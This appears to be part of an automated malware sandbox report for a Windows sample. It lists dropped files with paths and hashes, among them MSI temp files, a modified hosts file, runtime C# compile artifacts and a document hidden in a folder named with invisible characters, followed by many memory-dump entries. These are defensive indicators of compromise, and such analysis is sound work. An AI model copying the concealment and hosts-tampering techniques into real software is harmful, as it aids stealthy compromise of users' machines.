                                                                                                • SHA256 ce73c3d10f059d9a9419a4a9181acffcbbae9ba210866f71e6a7c728b48c9d1e
                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                Submit Download

                                                                                                SendRevoke.docx
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\    ‌‍    \Common Files\Desktop\SendRevoke.docx
                                                                                                • Size 20KB
                                                                                                • SHA256 3e110ead219e70a447cb0fa349e01f1f94ad0646eeecb126018e6d775ddec755
                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                Submit Download

                                                                                                MSI11A.tmp
                                                                                                • Path C:\Windows\Installer\MSI11A.tmp
                                                                                                • Size 211KB
                                                                                                • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                Submit Download

                                                                                                MSI305D.tmp
                                                                                                • Path C:\Windows\Installer\MSI305D.tmp
                                                                                                • Size 122KB
                                                                                                • SHA256 e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9
                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                Submit Download

                                                                                                e57d814.msi
                                                                                                • Path C:\Windows\Installer\e57d814.msi
                                                                                                • Size 30.1MB
                                                                                                • SHA256 5bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d
                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                Submit Download

                                                                                                hosts
                                                                                                • Path C:\Windows\System32\drivers\etc\hosts
                                                                                                • Size 2KB
                                                                                                • SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
                                                                                                • MD5 SHA1 SHA512
                                                                                                Submit Download

                                                                                                CSC2A087EEC141B40A68CB3A45693D12A7.TMP
                                                                                                • Path \??\c:\Users\Admin\AppData\Local\Temp\j3a5ofja\CSC2A087EEC141B40A68CB3A45693D12A7.TMP
                                                                                                • Size 652B
                                                                                                • SHA256 d0d71c8b5341eb43df7b5bbec0f6da26a3ff7a011c39ba104ae39186ed5e63fe
                                                                                                • MD5 SHA1 SHA512
                                                                                                Submit Download

                                                                                                j3a5ofja.0.cs
                                                                                                • Path \??\c:\Users\Admin\AppData\Local\Temp\j3a5ofja\j3a5ofja.0.cs
                                                                                                • Size 1004B
                                                                                                • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                                                                                                • MD5 SHA1 SHA512
                                                                                                Submit Download

                                                                                                j3a5ofja.cmdline
                                                                                                • Path \??\c:\Users\Admin\AppData\Local\Temp\j3a5ofja\j3a5ofja.cmdline
                                                                                                • Size 607B
                                                                                                • SHA256 51484c8dcae46d59c557c2e800c4fe35ea333a74fd0a6a7f5fe7f31c1e40367b
                                                                                                • MD5 SHA1 SHA512
                                                                                                Submit Download

                                                                                                memory/1032-52-0x0000000000400000-0x0000000000C8C000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-79-0x00007FFFADED0000-0x00007FFFADEDF000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-78-0x00007FFFA3DB0000-0x00007FFFA3DD7000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-366-0x00007FFF93820000-0x00007FFF938EE000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-365-0x00007FFFA0B50000-0x00007FFFA0B84000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-356-0x00007FFF95250000-0x00007FFF958B3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-367-0x00007FFF8FAE0000-0x00007FFF90013000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-382-0x00000241EE9C0000-0x00000241EEEF3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-410-0x00007FFF95250000-0x00007FFF958B3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-425-0x00007FFF95250000-0x00007FFF958B3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-440-0x00007FFFA4210000-0x00007FFFA4229000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-453-0x00007FFF8FA20000-0x00007FFF8FAD3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-452-0x00007FFFA7A60000-0x00007FFFA7A6D000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-451-0x00007FFFA2A40000-0x00007FFFA2A54000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-450-0x00007FFF8FAE0000-0x00007FFF90013000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-449-0x00007FFF93820000-0x00007FFF938EE000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-448-0x00007FFFA0B50000-0x00007FFFA0B84000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-447-0x00007FFFA8030000-0x00007FFFA803D000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-446-0x00007FFFA2F30000-0x00007FFFA2F49000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-445-0x00007FFF93360000-0x00007FFF934DF000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-444-0x00007FFFA2F50000-0x00007FFFA2F75000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-443-0x00007FFFA2F80000-0x00007FFFA2FAB000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-442-0x00007FFFADED0000-0x00007FFFADEDF000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-441-0x00007FFFA3DB0000-0x00007FFFA3DD7000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-283-0x00007FFF95250000-0x00007FFF958B3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-102-0x00007FFF93360000-0x00007FFF934DF000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-101-0x00007FFFA2F50000-0x00007FFFA2F75000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-109-0x00007FFFA2A40000-0x00007FFFA2A54000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-110-0x00007FFFA7A60000-0x00007FFFA7A6D000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-111-0x00007FFF8FA20000-0x00007FFF8FAD3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-112-0x00007FFFA4210000-0x00007FFFA4229000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-108-0x00000241EE9C0000-0x00000241EEEF3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-104-0x00007FFFA8030000-0x00007FFFA803D000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-107-0x00007FFF8FAE0000-0x00007FFF90013000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-103-0x00007FFFA2F30000-0x00007FFFA2F49000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-106-0x00007FFF93820000-0x00007FFF938EE000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-105-0x00007FFFA0B50000-0x00007FFFA0B84000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-56-0x00007FFF95250000-0x00007FFF958B3000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-362-0x00007FFF93360000-0x00007FFF934DF000-memory.dmp
                                                                                                Download

                                                                                                memory/2084-100-0x00007FFFA2F80000-0x00007FFFA2FAB000-memory.dmp
                                                                                                Download

                                                                                                memory/2648-122-0x0000028EC5490000-0x0000028EC54B2000-memory.dmp
                                                                                                Download

                                                                                                memory/2836-3206-0x0000013CF2F00000-0x0000013CF2F24000-memory.dmp
                                                                                                Download

                                                                                                memory/2836-3207-0x0000013CF5A40000-0x0000013CF5F7C000-memory.dmp
                                                                                                Download

                                                                                                memory/2836-3209-0x0000013CF5600000-0x0000013CF56BA000-memory.dmp
                                                                                                Download

                                                                                                memory/2836-3210-0x0000013CF56C0000-0x0000013CF5772000-memory.dmp
                                                                                                Download

                                                                                                memory/4268-272-0x0000020848FA0000-0x0000020848FA8000-memory.dmp
                                                                                                Download

                                                                                                memory/4400-81-0x00000207EA1D0000-0x00000207EA29E000-memory.dmp
                                                                                                Download

                                                                                                memory/4400-2787-0x00000207EC030000-0x00000207EC03A000-memory.dmp
                                                                                                Download

                                                                                                memory/4400-2789-0x00000207EF1A0000-0x00000207EF1B2000-memory.dmp
                                                                                                Download

                                                                                                memory/4400-82-0x00007FFF94783000-0x00007FFF94785000-memory.dmp
                                                                                                Download